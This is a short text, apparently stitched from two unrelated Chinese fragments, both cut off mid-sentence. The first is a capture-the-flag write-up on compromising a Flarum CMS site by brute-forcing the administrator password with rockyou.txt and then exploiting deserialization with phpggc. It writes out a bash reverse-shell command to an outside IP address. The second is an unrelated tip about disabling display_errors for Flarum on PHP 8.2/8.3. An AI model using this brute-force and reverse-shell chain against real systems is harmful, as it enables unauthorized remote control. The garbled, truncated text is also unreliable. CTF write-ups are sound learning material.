访问发现是个FlarumCMS框架.使用rockyou.txt爆破administrator得到密码1chris,登录后台由于题目提示Flarum上执行任意命令,搜到了P牛的文章照着打反序列化.执行命令./phpggc-ptar-bMonolog/RCE6system"bash-c'bash-i>&/dev/tcp/123.57.23.40/11110>&1'"生成t

php8.2，php8.3用户安装flarum注意关闭display_errors!不管是注册（实际注册成功但报错），还是SMTP邮件配置测试发送，以及一系列类似下面这种200报错的奇怪问题`POSThttps://xxxxxxxxxx/register<br/><b>Deprecated</b>:json_decode():Passingnulltoparameter#1($json)of